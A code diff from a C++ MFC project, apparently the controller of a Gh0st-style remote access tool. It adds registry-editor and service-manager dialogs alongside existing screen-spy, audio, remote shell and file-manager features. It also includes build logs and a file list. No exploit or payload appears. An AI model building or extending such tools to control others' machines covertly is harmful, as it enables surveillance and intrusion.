<AdditionalOptions>/SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
|
||||
<AdditionalOptions>/SAFESEH:NO /force %(AdditionalOptions)</AdditionalOptions>
|
||||
<AdditionalLibraryDirectories>..\..\common\zlib\ZlibStatRelease</AdditionalLibraryDirectories>
|
||||
</Link>
|
||||
<Midl>
|
||||
<MkTypLibCompatible>false</MkTypLibCompatible>
|
||||
@@ -208,6 +212,7 @@
|
||||
<ClInclude Include="CcRemote.h" />
|
||||
<ClInclude Include="CcRemoteDlg.h" />
|
||||
<ClInclude Include="CFileManagerDlg.h" />
|
||||
<ClInclude Include="CServerDlg.h" />
|
||||
<ClInclude Include="FileTransferModeDlg.h" />
|
||||
<ClInclude Include="CScreenSpyDlg.h" />
|
||||
<ClInclude Include="CSettingDlg.h" />
|
||||
@@ -222,6 +227,7 @@
|
||||
<ClInclude Include="InputDlg.h" />
|
||||
<ClInclude Include="pch.h" />
|
||||
<ClInclude Include="PublicStruct.h" />
|
||||
<ClInclude Include="RegDlg.h" />
|
||||
<ClInclude Include="Resource.h" />
|
||||
<ClInclude Include="SEU_QQwry.h" />
|
||||
<ClInclude Include="targetver.h" />
|
||||
@@ -230,11 +236,13 @@
|
||||
<ItemGroup>
|
||||
<ClCompile Include="..\..\common\Audio.cpp">
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\CcMainDll\CcMainDll\pch.h</PrecompiledHeaderFile>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
<ClCompile Include="CAudioDlg.cpp" />
|
||||
<ClCompile Include="CcRemote.cpp" />
|
||||
<ClCompile Include="CcRemoteDlg.cpp" />
|
||||
<ClCompile Include="CFileManagerDlg.cpp" />
|
||||
<ClCompile Include="CServerDlg.cpp" />
|
||||
<ClCompile Include="FileTransferModeDlg.cpp" />
|
||||
<ClCompile Include="CScreenSpyDlg.cpp" />
|
||||
<ClCompile Include="CSettingDlg.cpp" />
|
||||
@@ -262,6 +270,7 @@
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
<ClCompile Include="RegDlg.cpp" />
|
||||
<ClCompile Include="SEU_QQwry.cpp" />
|
||||
<ClCompile Include="TrueColorToolBar.cpp" />
|
||||
</ItemGroup>
|
||||
@@ -284,10 +293,17 @@
|
||||
<Image Include="res\bmp00001.bmp" />
|
||||
<Image Include="res\CcRemote.ico" />
|
||||
<Image Include="res\cmdshell.ico" />
|
||||
<Image Include="res\dword.ico" />
|
||||
<Image Include="res\file_ico.ico" />
|
||||
<Image Include="res\liset_online_pic.bmp" />
|
||||
<Image Include="res\logo.bmp" />
|
||||
<Image Include="res\regsz.ico" />
|
||||
<Image Include="res\remote.ico" />
|
||||
<Image Include="res\system.ico" />
|
||||
<Image Include="res\toolbar1.bmp" />
|
||||
<Image Include="res\toolbar2.bmp" />
|
||||
<Image Include="res\ToolBar_Main.bmp" />
|
||||
<Image Include="res\文件夹1.ico" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
|
@@ -93,6 +93,12 @@
|
||||
<ClInclude Include="..\..\common\Audio.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="CServerDlg.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="RegDlg.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="CcRemote.cpp">
|
||||
@@ -149,6 +155,12 @@
|
||||
<ClCompile Include="..\..\common\Audio.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="CServerDlg.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="RegDlg.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="CcRemote.rc">
|
||||
@@ -209,5 +221,26 @@
|
||||
<Image Include="res\audio.ico">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
<Image Include="res\dword.ico">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
<Image Include="res\regsz.ico">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
<Image Include="res\remote.ico">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
<Image Include="res\文件夹1.ico">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
<Image Include="res\file_ico.ico">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
<Image Include="res\logo.bmp">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
<Image Include="res\liset_online_pic.bmp">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
</ItemGroup>
|
||||
</Project>
|
@@ -8,6 +8,7 @@
|
||||
#include "CcRemoteDlg.h"
|
||||
#include "afxdialogex.h"
|
||||
#include "CSettingDlg.h"
|
||||
#include "RegDlg.h"
|
||||
#include "..\..\common\macros.h"
|
||||
|
||||
|
||||
@@ -75,6 +76,7 @@ void CCcRemoteDlg::DoDataExchange(CDataExchange* pDX)
|
||||
CDialogEx::DoDataExchange(pDX);
|
||||
DDX_Control(pDX, IDC_ONLINE, m_CList_Online);
|
||||
DDX_Control(pDX, IDC_MESSAGE, m_CList_Message);
|
||||
DDX_Control(pDX, IDC_STATIC_LOGO, m_PicLogoA);
|
||||
}
|
||||
|
||||
BEGIN_MESSAGE_MAP(CCcRemoteDlg, CDialogEx)
|
||||
@@ -86,8 +88,9 @@ BEGIN_MESSAGE_MAP(CCcRemoteDlg, CDialogEx)
|
||||
ON_MESSAGE(WM_OPENSCREENSPYDIALOG, OnOpenScreenSpyDialog)
|
||||
ON_MESSAGE(WM_OPENMANAGERDIALOG, OnOpenManagerDialog)
|
||||
ON_MESSAGE(WM_OPENAUDIODIALOG, OnOpenAudioDialog)
|
||||
ON_MESSAGE(WM_OPENSERVERDIALOG, OnOpenServerDialog)
|
||||
ON_MESSAGE(WM_OPENREGEDITDIALOG, OnOpenRegEditDialog)
|
||||
|
||||
|
||||
//-------------系统-------------
|
||||
ON_WM_SYSCOMMAND()
|
||||
ON_WM_PAINT()
|
||||
@@ -219,24 +222,40 @@ BOOL CCcRemoteDlg::OnInitDialog()
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
m_OnlineCount = 0;//初始上线数为0
|
||||
InitSystemMenu();//初始化系统托盘
|
||||
InitToolBar();//初始化工具栏按钮控件
|
||||
InitMyMenu();//初始化菜单控件
|
||||
InitList();//初始化列表控件
|
||||
InitStatusBar();//初始化状态栏控件
|
||||
m_OnlineCount = 0; // 初始上线数为0
|
||||
|
||||
InitSystemMenu(); // 初始化系统托盘
|
||||
InitToolBar(); // 初始化工具栏按钮控件
|
||||
InitMyMenu(); // 初始化菜单控件
|
||||
InitList(); // 初始化列表控件
|
||||
InitStatusBar(); // 初始化状态栏控件
|
||||
InitPic();
|
||||
//---------改变窗口大小触发动态调整-------|
|
||||
CRect rect;
|
||||
GetWindowRect(&rect);
|
||||
rect.bottom += 20;
|
||||
rect.bottom += 50;
|
||||
rect.right += 30;
|
||||
MoveWindow(rect);
|
||||
//----------------------------------------|
|
||||
ListenPort();//监听端口
|
||||
ListenPort(); // 监听端口
|
||||
Test();
|
||||
|
||||
isTrue = 0;
|
||||
return TRUE; // 除非将焦点设置到控件,否则返回 TRUE
|
||||
}
|
||||
|
||||
void CCcRemoteDlg::InitPic()
|
||||
{
|
||||
CRect rect;
|
||||
rect.left = 0;
|
||||
rect.top = 0;
|
||||
m_PicLogoA.MoveWindow(rect);
|
||||
//通过资源ID载入BitMap资源
|
||||
m_BitmapPicLogoA.LoadBitmapA(IDB_BITMAP_LOGO);
|
||||
|
||||
//给图片控件设置位图
|
||||
m_PicLogoA.SetBitmap(m_BitmapPicLogoA);
|
||||
}
|
||||
|
||||
void CCcRemoteDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
||||
{
|
||||
if ((nID & 0xFFF0) == IDM_ABOUTBOX)
|
||||
@@ -314,12 +333,9 @@ void CCcRemoteDlg::OnSize(UINT nType, int cx, int cy)
|
||||
int lenth = dd; //转换为int 类型
|
||||
m_CList_Online.SetColumnWidth(i, (lenth)); //设置当前的宽度
|
||||
}
|
||||
//TCHAR szBuffer[_MAX_PATH];
|
||||
//VERIFY(::GetModuleFileName(AfxGetInstanceHandle(), szBuffer, _MAX_PATH));
|
||||
//CString sPath = (CString)szBuffer; sPath = sPath.Left(sPath.ReverseFind('\\') + 1);
|
||||
CString sPath = "F:\\myapp\\CcRemote\\CcRemote\\CcRemote\\res\\background_list_online.bmp";
|
||||
m_CList_Online.SetBkImage(sPath.GetBuffer(sPath.GetLength()), TRUE); // 定义:CListCtrl m_controllist1;
|
||||
sPath.ReleaseBuffer();
|
||||
|
||||
|
||||
|
||||
}
|
||||
if (m_CList_Message.m_hWnd != NULL)
|
||||
{
|
||||
@@ -337,9 +353,6 @@ void CCcRemoteDlg::OnSize(UINT nType, int cx, int cy)
|
||||
int lenth = dd; //转换为int 类型
|
||||
m_CList_Message.SetColumnWidth(i, (lenth)); //设置当前的宽度
|
||||
}
|
||||
CString sPath = "F:\\myapp\\CcRemote\\CcRemote\\CcRemote\\res\\background_list_online.bmp";
|
||||
m_CList_Message.SetBkImage(sPath.GetBuffer(sPath.GetLength()), TRUE); // 定义:CListCtrl m_controllist1;
|
||||
sPath.ReleaseBuffer();
|
||||
}
|
||||
|
||||
if (m_wndStatusBar.m_hWnd != NULL) { //当对话框大小改变时 状态条大小也随之改变
|
||||
@@ -355,11 +368,13 @@ void CCcRemoteDlg::OnSize(UINT nType, int cx, int cy)
|
||||
if (m_ToolBar.m_hWnd != NULL) //工具条
|
||||
{
|
||||
CRect rc;
|
||||
rc.top = rc.left = 0;
|
||||
rc.top = 0;
|
||||
rc.left = 250;
|
||||
rc.right = cx;
|
||||
rc.bottom = 80;
|
||||
m_ToolBar.MoveWindow(rc); //设置工具条大小位置
|
||||
}
|
||||
|
||||
// TODO: 在此处添加消息处理程序代码
|
||||
}
|
||||
|
||||
@@ -553,12 +568,16 @@ void CCcRemoteDlg::OnOnlineProcess()
|
||||
void CCcRemoteDlg::OnOnlineRegist()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
BYTE bToken = COMMAND_REGEDIT;
|
||||
SendSelectCommand(&bToken, sizeof(BYTE));
|
||||
}
|
||||
|
||||
|
||||
void CCcRemoteDlg::OnOnlineServer()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
BYTE bToken = COMMAND_SERVICES; //赋值一个宏 然后发送到服务端,服务端COMMAND_SYSTEM
|
||||
SendSelectCommand(&bToken, sizeof(BYTE));
|
||||
}
|
||||
|
||||
|
||||
@@ -808,6 +827,11 @@ void CCcRemoteDlg::ProcessReceiveComplete(ClientContext *pContext)
|
||||
case SHELL_DLG:
|
||||
((CShellDlg *)dlg)->OnReceiveComplete();
|
||||
break;
|
||||
case SERVER_DLG:
|
||||
((CServerDlg *)dlg)->OnReceiveComplete();
|
||||
break;
|
||||
case REGEDIT_DLG:
|
||||
((CRegDlg *)dlg)->OnReceiveComplete();
|
||||
default:
|
||||
break;
|
||||
}
|
||||
@@ -871,6 +895,12 @@ void CCcRemoteDlg::ProcessReceiveComplete(ClientContext *pContext)
|
||||
case TOKEN_SHELL_START:
|
||||
g_pCcRemoteDlg->PostMessage(WM_OPENSHELLDIALOG, 0, (LPARAM)pContext);
|
||||
break;
|
||||
case TOKEN_SERVERLIST:
|
||||
g_pCcRemoteDlg->PostMessage(WM_OPENSERVERDIALOG, 0, (LPARAM)pContext);
|
||||
break;
|
||||
case TOKEN_REGEDIT:
|
||||
g_pCcRemoteDlg->PostMessage(WM_OPENREGEDITDIALOG, 0, (LPARAM)pContext);
|
||||
break;
|
||||
// 命令停止当前操作
|
||||
default:
|
||||
closesocket(pContext->m_Socket);
|
||||
@@ -1081,6 +1111,37 @@ LRESULT CCcRemoteDlg::OnOpenAudioDialog(WPARAM wParam, LPARAM lParam)
|
||||
return 0;
|
||||
}
|
||||
|
||||
//服务管理窗口
|
||||
LRESULT CCcRemoteDlg::OnOpenServerDialog(WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
ClientContext *pContext = (ClientContext *)lParam;
|
||||
CServerDlg *dlg = new CServerDlg(this, m_iocpServer, pContext); //动态创建CSystemDlg
|
||||
|
||||
// 设置父窗口为桌面
|
||||
dlg->Create(IDD_SERVERDLG, GetDesktopWindow()); //创建对话框
|
||||
dlg->ShowWindow(SW_SHOW); //显示对话框
|
||||
|
||||
pContext->m_Dialog[0] = SERVER_DLG; //这个值用做服务端再次发送数据时的标识
|
||||
pContext->m_Dialog[1] = (int)dlg;
|
||||
//先看一下这个对话框的界面再看这个对话框类的构造函数
|
||||
return 0;
|
||||
}
|
||||
|
||||
//注册表管理窗口
|
||||
LRESULT CCcRemoteDlg::OnOpenRegEditDialog(WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
ClientContext *pContext = (ClientContext *)lParam;
|
||||
CRegDlg *dlg = new CRegDlg(this, m_iocpServer, pContext); //动态创建CSystemDlg
|
||||
|
||||
// 设置父窗口为桌面
|
||||
dlg->Create(IDD_DIALOG_REGEDIT, GetDesktopWindow()); //创建对话框
|
||||
dlg->ShowWindow(SW_SHOW); //显示对话框
|
||||
|
||||
pContext->m_Dialog[0] = REGEDIT_DLG; //这个值用做服务端再次发送数据时的标识
|
||||
pContext->m_Dialog[1] = (int)dlg;
|
||||
//先看一下这个对话框的界面再看这个对话框类的构造函数
|
||||
return 0;
|
||||
}
|
||||
|
||||
//绘制背景图片
|
||||
BOOL CCcRemoteDlg::OnEraseBkgnd(CDC* pDC)
|
||||
@@ -1097,7 +1158,7 @@ BOOL CCcRemoteDlg::OnEraseBkgnd(CDC* pDC)
|
||||
//pDC->StretchBlt(0, 0, rect.Width(), rect.Height(), &MemDC, 0, 0, Bp.bmWidth, Bp.bmHeight, SRCCOPY);
|
||||
//MemDC.DeleteDC();
|
||||
|
||||
return TRUE;
|
||||
//return TRUE;
|
||||
return CDialogEx::OnEraseBkgnd(pDC);
|
||||
}
|
||||
|
||||
@@ -1106,33 +1167,17 @@ HBRUSH CCcRemoteDlg::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor)
|
||||
{
|
||||
HBRUSH hbr = CDialogEx::OnCtlColor(pDC, pWnd, nCtlColor);
|
||||
|
||||
// TODO: 在此更改 DC 的任何特性
|
||||
//switch (pWnd->GetDlgCtrlID()) {
|
||||
////case IDC_STATIC_NAME:
|
||||
////case IDC_STATIC_ID:
|
||||
////case IDC_STATIC_PW:
|
||||
//// pDC->SetBkMode(TRANSPARENT);
|
||||
//// pDC->SetTextColor(RGB(0, 255, 0));
|
||||
//// hbr = (HBRUSH)GetStockObject(NULL_BRUSH);//空画刷,不加此句会有阴影
|
||||
//// break;
|
||||
//case IDR_TOOLBAR_MAIN:
|
||||
// CWnd* pd;
|
||||
// CRect rc;
|
||||
// if (pWnd->GetDlgCtrlID() == IDR_TOOLBAR_MAIN)
|
||||
// pd = (CWnd*)GetDlgItem(IDR_TOOLBAR_MAIN);
|
||||
// pd->GetClientRect(&rc);
|
||||
// ScreenToClient(&rc);
|
||||
// pDC->SetBkMode(TRANSPARENT);
|
||||
// pDC->SetTextColor(RGB(255, 0, 0));
|
||||
// CBitmap bmp;
|
||||
// bmp.LoadBitmap(IDB_BACKGROUND_CCREMOTE);
|
||||
// CBrush brush(&bmp);
|
||||
// CBrush* pOldBrush = (CBrush*)pDC->SelectObject(&brush);
|
||||
// pDC->FillRect(&rc, &brush);
|
||||
// hbr = (HBRUSH)brush;
|
||||
// break;
|
||||
//}
|
||||
|
||||
// TODO: 如果默认的不是所需画笔,则返回另一个画笔
|
||||
if (m_CList_Online.m_hWnd != NULL&& isTrue == 0)
|
||||
{
|
||||
TCHAR szBuffer[_MAX_PATH];
|
||||
VERIFY(::GetModuleFileName(AfxGetInstanceHandle(), szBuffer, _MAX_PATH));
|
||||
CString sPath = (CString)szBuffer;
|
||||
sPath = sPath.Left(sPath.ReverseFind('\\') + 1);
|
||||
sPath += "res\\list_online_pic.bmp";
|
||||
isTrue = m_CList_Online.SetBkImage(sPath.GetBuffer(sPath.GetLength()), TRUE); // 定义:CListCtrl m_controllist1;
|
||||
sPath.ReleaseBuffer();
|
||||
// TODO: 如果默认的不是所需画笔,则返回另一个画笔
|
||||
}
|
||||
|
||||
return hbr;
|
||||
}
|
||||
|
@@ -10,6 +10,7 @@
|
||||
#include "CScreenSpyDlg.h"
|
||||
#include "CFileManagerDlg.h"
|
||||
#include "CAudioDlg.h"
|
||||
#include "CServerDlg.h"
|
||||
#pragma once
|
||||
|
||||
|
||||
@@ -37,23 +38,32 @@ protected:
|
||||
virtual BOOL OnInitDialog();
|
||||
afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
|
||||
afx_msg void OnPaint();
|
||||
afx_msg void OnSize(UINT nType, int cx, int cy);
|
||||
afx_msg HCURSOR OnQueryDragIcon();
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
CStatusBar m_wndStatusBar;//状态控件
|
||||
CListCtrl m_CList_Online;//在线列表变量
|
||||
CListCtrl m_CList_Message;//消息列表变量
|
||||
CTrueColorToolBar m_ToolBar;//工具条按钮控件变量
|
||||
afx_msg void OnSize(UINT nType, int cx, int cy);
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
private:
|
||||
//--------------变量及常量----------------
|
||||
SEU_QQwry *m_QQwry; //识别IP区域
|
||||
int m_OnlineCount;//上线计数
|
||||
CBrush m_brush;//绘色函数
|
||||
CMenu popup;//LIST菜单变量
|
||||
NOTIFYICONDATA nid;//含有图标 消息响应 的一个结构体 用于系统托盘
|
||||
NOTIFYICONDATA nid; // 含有图标 消息响应 的一个结构体 用于系统托盘
|
||||
CMenu popup; // LIST菜单变量
|
||||
SEU_QQwry* m_QQwry; // 识别IP区域
|
||||
CBrush m_brush; // 绘色函数
|
||||
CTrueColorToolBar m_ToolBar; // 工具条按钮控件变量
|
||||
CStatusBar m_wndStatusBar; // 状态控件
|
||||
CListCtrl m_CList_Online; // 在线列表变量
|
||||
CListCtrl m_CList_Message;// 消息列表变量
|
||||
int m_OnlineCount; // 上线计数
|
||||
|
||||
CBitmap m_BitmapPicLogoA;
|
||||
CStatic m_PicLogoA; // 左上角logo
|
||||
|
||||
bool isTrue; //list背景是否已经加载
|
||||
|
||||
#define COLUMN_ONLINE_COUNT 7 //在线列表的个数
|
||||
#define COLUMN_MESSAGE_COUNT 3 //消息列表的个数
|
||||
@@ -81,21 +91,26 @@ private:
|
||||
|
||||
|
||||
//-----------------------函数-----------------------
|
||||
int InitList();//初始化list控件信息
|
||||
int InitMyMenu();//初始化主页面上方菜单
|
||||
void InitStatusBar();//初始化状态控件
|
||||
void InitToolBar();//初始化工具条按钮控件
|
||||
void InitSystemMenu();//初始化系统托盘菜单
|
||||
void AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, CString strCPU, CString strVideo, CString strPing, ClientContext*pContext);
|
||||
void ShowMessage(bool bIsOK, CString strMsg);//显示日志
|
||||
void Test();
|
||||
void Test();
|
||||
int InitList(); // 初始化list控件信息
|
||||
int InitMyMenu(); // 初始化主页面上方菜单
|
||||
void InitStatusBar(); // 初始化状态控件
|
||||
void InitToolBar(); // 初始化工具条按钮控件
|
||||
void InitSystemMenu(); // 初始化系统托盘菜单
|
||||
void ListenPort(); // 监听端口设置
|
||||
void InitPic(); // 初始化界面图片
|
||||
void Activate(UINT nPort, UINT nMaxConnections); // 监听端口
|
||||
void ShowMessage(bool bIsOK, CString strMsg); // 显示日志
|
||||
|
||||
void ListenPort();
|
||||
// 添加信息到列表
|
||||
void AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, CString strCPU, CString strVideo, CString strPing, ClientContext*pContext);
|
||||
|
||||
// socket 的处理都要调用这个回调函数
|
||||
static void CALLBACK NotifyProc(LPVOID lpParam, ClientContext* pContext, UINT nCode);
|
||||
void Activate(UINT nPort, UINT nMaxConnections);//监听端口
|
||||
|
||||
// 控制命令都要经过这个函数
|
||||
static void ProcessReceiveComplete(ClientContext *pContext);
|
||||
|
||||
public:
|
||||
//-------------自定义消息处理-------------
|
||||
afx_msg void OnIconNotify(WPARAM wParam, LPARAM lParam);
|
||||
@@ -105,6 +120,8 @@ public:
|
||||
afx_msg LRESULT OnOpenScreenSpyDialog(WPARAM, LPARAM);
|
||||
afx_msg LRESULT OnOpenManagerDialog(WPARAM, LPARAM);
|
||||
afx_msg LRESULT OnOpenAudioDialog(WPARAM, LPARAM);
|
||||
afx_msg LRESULT OnOpenServerDialog(WPARAM, LPARAM);
|
||||
afx_msg LRESULT OnOpenRegEditDialog(WPARAM, LPARAM);
|
||||
|
||||
//-------------系统消息处理-------------
|
||||
afx_msg void OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult);
|
||||
@@ -128,4 +145,5 @@ private:
|
||||
public:
|
||||
afx_msg BOOL OnEraseBkgnd(CDC* pDC);
|
||||
afx_msg HBRUSH OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor);
|
||||
|
||||
};
|
||||
|
@@ -1,2 +1,34 @@
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.res
|
||||
f:\myapp\ccremote\ccremote\ccremote\..\..\bin\ccremote.exe
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.pch
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\vc141.pdb
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\vc141.idb
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\pch.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\audio.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\truecolortoolbar.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\seu_qqwry.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\regdlg.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\inputdlg.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\inifile.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\cpuusage.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\csystemdlg.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\cshelldlg.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\csettingdlg.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\cscreenspydlg.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\filetransfermodedlg.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\cserverdlg.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\cfilemanagerdlg.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremotedlg.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\caudiodlg.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\iocpserver.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\buffer.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.res
|
||||
g:\ccremote\ccremote\ccremote\ccremote\..\..\bin\ccremote.exe
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.command.1.tlog
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.read.1.tlog
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.write.1.tlog
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.command.1.tlog
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.read.1.tlog
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.write.1.tlog
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.command.1.tlog
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.read.1.tlog
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.write.1.tlog
|
||||
|
@@ -1,74 +1,14 @@
|
||||
C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
|
||||
pch.cpp
|
||||
Audio.cpp
|
||||
f:\myapp\ccremote\common\audio.cpp(99): warning C4018: “<”: 有符号/无符号不匹配
|
||||
CAudioDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\caudiodlg.cpp(29): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
|
||||
CcRemote.cpp
|
||||
CcRemoteDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(166): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(171): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(314): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(337): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(833): warning C4018: “<=”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(915): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
CFileManagerDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\inputdlg.h(69): warning C4302: “类型强制转换”: 从“LPSTR”到“WORD”截断
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(81): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(360): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(361): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(861): warning C4101: “VolName”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(862): warning C4101: “FileSystem”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1123): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1153): warning C4307: “+”: 整型常量溢出
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1571): warning C4307: “+”: 整型常量溢出
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1605): warning C4129: “*”: 不可识别的字符转义序列
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1647): warning C4307: “+”: 整型常量溢出
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1741): warning C4307: “+”: 整型常量溢出
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1901): warning C4129: “*”: 不可识别的字符转义序列
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1925): warning C4129: “*”: 不可识别的字符转义序列
|
||||
